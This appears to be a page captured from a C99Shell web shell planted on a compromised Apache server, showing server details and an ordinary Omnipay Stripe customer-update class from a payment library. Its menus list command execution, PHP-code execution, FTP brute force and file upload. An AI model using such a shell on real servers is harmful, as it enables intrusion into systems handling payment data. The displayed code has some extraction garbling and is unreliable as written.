!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/omnipay/stripe/src/Message/   drwxr-xr-x
Free 13.14 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UpdateCustomerRequest.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Stripe Update Customer Request.
 */
namespace Omnipay\Stripe\Message;

/**
 * Stripe Update Customer Request.
 *
 * Customer objects allow you to perform recurring charges and
 * track multiple charges that are associated with the same customer.
 * The API allows you to create, delete, and update your customers.
 * You can retrieve individual customers as well as a list of all of
 * your customers.
 *
 * This request updates the specified customer by setting the values
 * of the parameters passed. Any parameters not provided will be left
 * unchanged. For example, if you pass the card parameter, that becomes
 * the customer's active card to be used for all charges in the future,
 * and the customer email address is updated to the email address
 * on the card. When you update a customer to a new valid card: for
 * each of the customer's current subscriptions, if the subscription
 * is in the `past_due` state, then the latest unpaid, unclosed
 * invoice for the subscription will be retried (note that this retry
 * will not count as an automatic retry, and will not affect the next
 * regularly scheduled payment for the invoice). (Note also that no
 * invoices pertaining to subscriptions in the `unpaid` state, or
 * invoices pertaining to canceled subscriptions, will be retried as
 * a result of updating the customer's card.)
 *
 * This request accepts mostly the same arguments as the customer
 * creation call.
 *
 * @link https://stripe.com/docs/api#update_customer
 */
class UpdateCustomerRequest extends AbstractRequest
{
    
/**
     * Get the customer's email address.
     *
     * @return string
     */
    
public function getEmail()
    {
        return 
$this->getParameter('email');
    }

    
/**
     * Sets the customer's email address.
     *
     * @param string $value
     * @return CreateCustomerRequest provides a fluent interface.
     */
    
public function setEmail($value)
    {
        return 
$this->setParameter('email'$value);
    }

    
/**
     * Get the customer's source.
     *
     * @return string
     */
    
public function getSource()
    {
        return 
$this->getParameter('source');
    }
    
    
/**
     * Sets the customer's source.
     *
     * @param string $value
     * @return CreateCustomerRequest provides a fluent interface.
     */
    
public function setSource($value)
    {
        
$this->setParameter('source'$value);
    }

    public function 
getData()
    {
        
$this->validate('customerReference');
        
$data = array();
        
$data['description'] = $this->getDescription();

        if (
$this->getToken()) {
            
$data['card'] = $this->getToken();
        } elseif (
$this->getCard()) {
            
$this->getCard()->validate();
            
$data['card'] = $this->getCardData();
            
$data['email'] = $this->getCard()->getEmail();
        } elseif (
$this->getEmail()) {
            
$data['email'] = $this->getEmail();
        }

        if (
$this->getMetadata()) {
            
$data['metadata'] = $this->getMetadata();
        }

        if (
$this->getSource()) {
            
$data['source'] = $this->getSource();
        }

        return 
$data;
    }

    public function 
getEndpoint()
    {
        return 
$this->endpoint.'/customers/'.$this->getCustomerReference();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--